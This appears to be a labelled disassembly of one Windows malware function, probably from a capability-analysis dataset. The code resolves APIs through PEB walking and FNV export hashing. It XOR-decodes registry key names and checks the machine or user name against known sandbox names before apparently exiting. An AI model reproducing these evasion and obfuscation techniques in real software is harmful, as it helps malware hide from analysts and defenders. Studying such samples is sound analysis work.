Function at 0x1400171e0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xab0
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400ee098]
xor rax, rsp
mov qword [rbp + 0xa40], rax
mov dword [rbp + 0x248], 0x200
xor r13d, r13d
mov rax, qword [0x1400f1b00]
test rax, rax
jne 0x1400172e6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400172c7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400172c7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400172c2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400172a0
cmp edx, 0x38a7c61a
je 0x140018557
test r8d, r8d
jne 0x140017280
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400172dc
cmp qword [rax + 0x30], r13
jne 0x140017250
mov rax, r13
mov qword [0x1400f1b00], rax
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x840]
call rax
xorps xmm0, xmm0
lea rax, str.guysa
mov qword [rbp + 0x1e0], rax
lea rax, str.george
mov qword [rbp + 0x1e8], rax
lea rax, str.john
mov qword [rbp + 0x1f0], rax
lea rax, str.JOHN_PC
mov qword [rbp + 0x1f8], rax
movdqu xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
mov ecx, 0x20
call fcn.14002deb8
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rax
lea rbx, [rax + 0x20]
mov qword [rbp + 0x220], rbx
mov r8d, 0x20
lea rdx, [rbp + 0x1e0]
mov rcx, rax
call fcn.14002fee0
mov qword [rbp + 0x218], rbx
mov r14d, r13d
mov rax, rbx
mov r9, qword [rbp + 0x210]
sub rax, r9
sar rax, 3
test rax, rax
je 0x1400174c5
mov rcx, r13
nop
lea rax, [rbp + 0x840]
mov r8, qword [r9 + rcx*8]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400173c3
inc rax
test ecx, ecx
jne 0x1400173b0
test edx, edx
jne 0x1400174ac
mov rax, qword [0x1400f1af8]
test rax, rax
jne 0x140017497
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140017477
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140017477
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov eax, dword [rax + r11]
add rax, r9
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140017472
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x140017450
cmp edx, 0xcded1a85
je 0x140018573
test r8d, r8d
jne 0x140017430
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14001748d
cmp qword [rax + 0x30], 0
jne 0x140017400
mov rax, r13
mov qword [0x1400f1af8], rax
mov ecx, 1
call rax
mov rbx, qword [rbp + 0x218]
mov r9, qword [rbp + 0x210]
inc r14d
mov rax, rbx
sub rax, r9
sar rax, 3
mov ecx, r14d
cmp rcx, rax
jb 0x1400173a0
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x250], 0
mov qword [rbp + 0x228], r13
mov qword [rbp + 0x238], r13
mov qword [rbp + 0x240], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x228], 0
mov dword [rbp + 0x208], 0x400
mov rax, qword [0x1400f1b08]
test rax, rax
jne 0x1400175d7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400175b7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400175b7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400175b2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140017590
cmp edx, 0xdf6a51c
je 0x14001858f
test r8d, r8d
jne 0x140017570
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400175cd
cmp qword [rax + 0x30], 0
jne 0x140017540
mov rax, r13
mov qword [0x1400f1b08], rax
movabs r14, 0xc783a7973fbf5c79
mov qword [rbp + 0x380], r14
movabs rcx, 0x626c2ebae92b8426
mov qword [rbp + 0x388], rcx
movabs r12, 0xde3ab589a2633043
mov qword [rbp + 0x390], r12
movabs r15, 0xdc0500a49c1fc9a8
mov qword [rbp + 0x398], r15
movabs rcx, 0x82d1e6c07bed1d31
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x312872f3b968c57a
mov qword [rbp + 0xc8], rcx
movabs rcx, 0x8162facbf43f6407
mov qword [rbp + 0xd0], rcx
movabs rcx, 0xdc0500a49c1fc9f7
mov qword [rbp + 0xd8], rcx
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xc0], ymm1
lea rcx, [rbp + 0x200]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0xc0]
mov rcx, 0xffffffff80000002
vzeroupper
call rax
test eax, eax
jne 0x14001776e
mov rax, qword [0x1400f1af8]
test rax, rax
jne 0x140017767
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140017747
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140017747
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140017742
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140017720
cmp edx, 0xcded1a85
je 0x1400185ab
test r8d, r8d
jne 0x140017700
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14001775d
cmp qword [rax + 0x30], 0
jne 0x1400176d0
mov rax, r13
mov qword [0x1400f1af8], rax
mov ecx, 1
call rax
mov rax, qword [0x1400f1b18]
test rax, rax
jne 0x140017837
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140017817
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140017817
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140017812
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400177f0
cmp edx, 0x57949ea7
je 0x1400185c7
test r8d, r8d
jne 0x1400177d0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14001782d
cmp qword [rax + 0x30], 0
jne 0x1400177a0
mov rax, r13
mov qword [0x1400f1b18], rax
mov qword [rbp + 0x3a0], r14
movabs rdi, 0x626c2ebae92b8426
mov qword [rbp + 0x3a8], rdi
mov qword [rbp + 0x3b0], r12
mov qword [rbp + 0x3b8], r15
movabs rcx, 0xa6cecaf24bcc252a
mov qword [rbp + 0xe0], rcx
movabs rcx, 0x10195ad9884df148
mov qword [rbp + 0xe8], rcx
movabs rcx, 0xde3ab589a2634226
mov qword [rbp + 0xf0], rcx
mov qword [rbp + 0xf8], r15
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0xe0], ymm1
mov qword [rbp + 0x3c0], r14
mov qword [rbp + 0x3c8], rdi
mov qword [rbp + 0x3d0], r12
mov qword [rbp + 0x3d8], r15
movabs rcx, 0x3f02a50318ee375d
mov qword [rbp + 0x3e0], rcx
movabs rcx, 0x8a945ad6071b72ea
mov qword [rbp + 0x3e8], rcx
movabs rcx, 0xeb080475b9c7ff27
mov qword [rbp + 0x3f0], rcx
movabs rcx, 0x1a27806825d4ec
mov qword [rbp + 0x3f8], rcx
movabs rdx, 0x84dfead26bec052a
mov qword [rbp + 0x160], rdx
movabs rdx, 0xd2f5ad48c59f653
mov qword [rbp + 0x168], rdx
movabs rdx, 0xaa5fe6e5cd11442d
mov qword [rbp + 0x170], rdx
movabs rdx, 0xb06a72d0f2708af4
mov qword [rbp + 0x178], rdx
movabs rdx, 0x766fc0776b976401
mov qword [rbp + 0x180], rdx
movabs rdx, 0xe3e03bbb75741484
mov qword [rbp + 0x188], rdx
movabs rdx, 0xeb080475b9c79148
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x198], rcx
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x180], ymm1
lea rcx, [rbp + 0x208]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x440]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r13
mov r9d, 0xffff
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x160]
mov rcx, 0xffffffff80000002
vzeroupper
call rax
mov r14d, eax
lea rax, [rbp + 0x440]
mov r15, 0xffffffffffffffff
mov rbx, r15
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140017a10
mov esi, r13d
test rbx, rbx
je 0x140017a68
mov rdi, r13
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [rbp + rdi + 0x440]
call fcn.14003bc50
test eax, eax
je 0x140017a55
movsx ecx, byte [rbp + rdi + 0x440]
call fcn.14003be34
mov byte [rbp + rdi + 0x440], al
inc esi
mov edi, esi
cmp rdi, rbx
jb 0x140017a30
movabs rdi, 0x626c2ebae92b8426
lea rax, [rbp + 0x440]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140017a72
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x250]
call fcn.1400086f0
movabs r12, 0xc783c2e55ec8310f
movabs r13, 0xc783a7974ad23908
test r14d, r14d
movabs r14, 0xc783a7973fbf5c79
jne 0x140017d9d
mov qword [rbp + 0x270], r14
mov qword [rbp + 0x278], rdi
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], rdi
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x250]
call fcn.140007250
cmp rax, r15
jne 0x140017cce
mov qword [rbp + 0x280], r14
mov qword [rbp + 0x288], rdi
movabs rax, 0xe7e8c2e350d13210
mov qword [rbp + 0x20], rax
movabs rax, 0x626c2eba8149e941
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x250]
call fcn.140007250
cmp rax, r15
jne 0x140017cce
mov qword [rbp + 0x2a0], r14
mov qword [rbp + 0x2a8], rdi
mov qword [rbp], r13
mov qword [rbp + 8], rdi
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x250]
call fcn.140007250
cmp rax, r15
jne 0x140017cce
mov qword [rbp + 0x2f0], r14
mov qword [rbp + 0x2f8], rdi
movabs rax, 0xa9ea87f253cf2c38
mov qword [rbp + 0x40], rax
movabs rax, 0x626c2ebae92baa45
mov qword [rbp + 0x48], rax
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x250]
call fcn.140007250
cmp rax, r15
jne 0x140017cce
mov qword [rbp + 0x2b0], r14
mov qword [rbp + 0x2b8], rdi
movabs rax, 0xc783a7973fd22a12
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdi
movdqa xmm0, xmmword [rbp + 0x50]
pxor xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x250]
call fcn.140007250
cmp rax, r15
jne 0x140017cce
mov qword [rbp + 0x320], r14
mov qword [rbp + 0x328], rdi
movabs rax, 0xde3ab589a2633043
mov qword [rbp + 0x330], rax
movabs rcx, 0xdc0500a49c1fc9a8
mov qword [rbp + 0x338], rcx
movabs rax, 0xaaa3caf24bcc250a
mov qword [rbp + 0x100], rax
movabs rax, 0x17184ddb8f5eea47
mov qword [rbp + 0x108], rax
movabs rax, 0xde3ab589a2115531
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rcx
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x100], ymm1
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x250]
vzeroupper
call fcn.140007250
cmp rax, r15
je 0x140017d9d
mov rax, qword [0x1400f1af8]
test rax, rax
jne 0x140017d96
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140017d77
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140017d77
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140017d72
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140017d50
cmp edx, 0xcded1a85
je 0x1400185e3
test r8d, r8d
jne 0x140017d30
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140017d8d
cmp qword [rax + 0x30], 0
jne 0x140017d00
xor eax, eax
mov qword [0x1400f1af8], rax
mov ecx, 1
call rax
mov rax, qword [0x1400f1b18]
test rax, rax
jne 0x140017e66
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140017e47
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140017e47
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140017e42
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140017e20
cmp edx, 0x57949ea7
je 0x1400185ff
test r8d, r8d
jne 0x140017e00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140017e5d
cmp qword [rax + 0x30], 0
jne 0x140017dd0
xor eax, eax
mov qword [0x1400f1b18], rax
mov qword [rbp + 0x340], r14
movabs rdi, 0x626c2ebae92b8426
mov qword [rbp + 0x348], rdi
movabs r8, 0xde3ab589a2633043
mov qword [rbp + 0x350], r8
movabs rdx, 0xdc0500a49c1fc9a8
mov qword [rbp + 0x358], rdx
movabs rcx, 0xb5d3caf24bcc252a
mov qword [rbp + 0x120], rcx
movabs rcx, 0xf0d60ce8a5ee049
mov qword [rbp + 0x128], rcx
movabs rcx, 0xde3ab589a2633026
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x138], rdx
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0x120], ymm1
mov qword [rbp + 0x400], r14
mov qword [rbp + 0x408], rdi
mov qword [rbp + 0x410], r8
mov qword [rbp + 0x418], rdx
movabs rcx, 0x3f02a50318ee375d
mov qword [rbp + 0x420], rcx
movabs rcx, 0x8a945ad6071b72ea
mov qword [rbp + 0x428], rcx
movabs rcx, 0xeb080475b9c7ff27
mov qword [rbp + 0x430], rcx
movabs rcx, 0x1a27806825d4ec
mov qword [rbp + 0x438], rcx
movabs rdx, 0x84dfead26bec052a
mov qword [rbp + 0x1a0], rdx
movabs rdx, 0xd2f5ad48c59f653
mov qword [rbp + 0x1a8], rdx
movabs rdx, 0xaa5fe6e5cd11442d
mov qword [rbp + 0x1b0], rdx
movabs rdx, 0xb06a72d0f2708af4
mov qword [rbp + 0x1b8], rdx
movabs rdx, 0x766fc0776b976401
mov qword [rbp + 0x1c0], rdx
movabs rdx, 0xe3e03bbb75741484
mov qword [rbp + 0x1c8], rdx
movabs rdx, 0xeb080475b9c79148
mov qword [rbp + 0x1d0], rdx
mov qword [rbp + 0x1d8], rcx
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x420]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rcx, [rbp + 0x208]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x440]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0
mov r9d, 0xffff
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x1a0]
mov rcx, 0xffffffff80000002
vzeroupper
call rax
mov r14d, eax
lea rax, [rbp + 0x440]
mov rbx, r15
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140018050
xor esi, esi
test rbx, rbx
je 0x14001809a
xor edi, edi
movsx ecx, byte [rbp + rdi + 0x440]
call fcn.14003bc50
test eax, eax
je 0x140018087
movsx ecx, byte [rbp + rdi + 0x440]
call fcn.14003be34
mov byte [rbp + rdi + 0x440], al
inc esi
mov edi, esi
cmp rdi, rbx
jb 0x140018062
movabs rdi, 0x626c2ebae92b8426
lea rax, [rbp + 0x440]
inc r15
cmp byte [rax + r15], 0
jne 0x1400180a1
mov r8, r15
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x228]
call fcn.1400086f0
test r14d, r14d
jne 0x14001842e
movabs r14, 0xc783a7973fbf5c79
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x2c8], rdi
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], rdi
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x60], xmm0
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x228]
call fcn.140007250
cmp rax, 0xffffffffffffffff
jne 0x140018361
mov qword [rbp + 0x2d0], r14
mov qword [rbp + 0x2d8], rdi
movabs rax, 0xa5efc6e24bcd350f
mov qword [rbp + 0x70], rax
movabs rax, 0x626c2ebae92bfc49
mov qword [rbp + 0x78], rax
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x228]
call fcn.140007250
cmp rax, 0xffffffffffffffff
jne 0x140018361
mov qword [rbp + 0x2e0], r14
mov qword [rbp + 0x2e8], rdi
movabs rax, 0xc783a79753d3391d
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdi
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x228]
call fcn.140007250
cmp rax, 0xffffffffffffffff
jne 0x140018361
mov qword [rbp + 0x290], r14
mov qword [rbp + 0x298], rdi
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], rdi
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x228]
call fcn.140007250
cmp rax, 0xffffffffffffffff
jne 0x140018361
mov qword [rbp + 0x300], r14
mov qword [rbp + 0x308], rdi
movabs rax, 0xc783a7fb5acb3210
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdi
movdqa xmm0, xmmword [rbp + 0x90]
pxor xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x228]
call fcn.140007250
cmp rax, 0xffffffffffffffff
jne 0x140018361
mov qword [rbp + 0x310], r14
mov qword [rbp + 0x318], rdi
movabs rax, 0xc783a7974cca2f18
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
pxor xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x228]
call fcn.140007250
cmp rax, 0xffffffffffffffff
jne 0x140018361
mov qword [rbp + 0x360], r14
mov qword [rbp + 0x368], rdi
movabs rax, 0xde3ab589a2633043
mov qword [rbp + 0x370], rax
movabs rcx, 0xdc0500a49c1fc9a8
mov qword [rbp + 0x378], rcx
movabs rax, 0xb7a3caf24bcc250a
mov qword [rbp + 0x140], rax
movabs rax, 0xc4c5ad99c4feb54
mov qword [rbp + 0x148], rax
movabs rax, 0xde3ab589a2065d22
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rcx
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x228]
vzeroupper
call fcn.140007250
cmp rax, 0xffffffffffffffff
je 0x14001842e
mov rax, qword [0x1400f1af8]
test rax, rax
jne 0x140018426
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140018407
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140018407
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140018402
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400183e0
cmp edx, 0xcded1a85
je 0x14001861b
test r8d, r8d
jne 0x1400183c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14001841d
cmp qword [rax + 0x30], 0
jne 0x140018390
xor eax, eax
mov qword [0x1400f1af8], rax
mov ecx, 1
call rax
nop
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x14001846f
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001846a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001863d
call fcn.14002deb0
xor ebx, ebx
mov qword [rbp + 0x238], rbx
mov qword [rbp + 0x240], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x228], bl
mov rdx, qword [rbp + 0x268]
cmp rdx, 0x10
jb 0x1400184ca
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400184c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018643
call fcn.14002deb0
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x250], 0
mov rcx, qword [rbp + 0x210]
test rcx, rcx
je 0x140018527
mov rdx, qword [rbp + 0x220]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018522
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018637
call fcn.14002deb0
mov rcx, qword [rbp + 0xa40]
xor rcx, rsp
call fcn.14002de90
lea r11, [rsp + 0xab0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x1400172df
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140017490
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x1400175d0
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140017760
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140017830
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140017d8f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140017e5f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14001841f
call fcn.14003b580
nop
call fcn.14003b580
nop
call fcn.14003b580
int3